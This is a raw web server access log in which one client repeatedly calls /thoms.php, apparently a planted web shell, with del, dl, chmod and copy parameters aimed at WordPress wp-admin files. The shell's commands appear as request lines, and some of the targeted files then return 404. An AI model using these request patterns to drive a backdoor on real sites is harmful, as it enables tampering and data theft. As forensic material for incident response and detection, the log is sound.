45.135.193.11 - - [11/Sep/2026:23:31:02 -0400] "GET /thoms.php?del=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupgrade.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?del=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?del=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?dl=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?chmod=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/contribute.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?chmod=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=authorize-application.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/erase-personal-data.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?dl=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-footer.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?chmod=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/css/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22229 "https://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?dl=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=custom-header.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?chmod=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-writing.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=contribute.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?del=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&settings=1 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?del=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?dl=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=load-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media-new.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=revision.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?del=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22302 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/export.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fexport-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fexport-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fexport-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?del=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?chmod=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?del=install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?chmod=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=async-upload.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22204 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fplugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22175 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?del=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?chmod=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22257 "https://163.245.207.76:443/thoms.php?del=options-media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
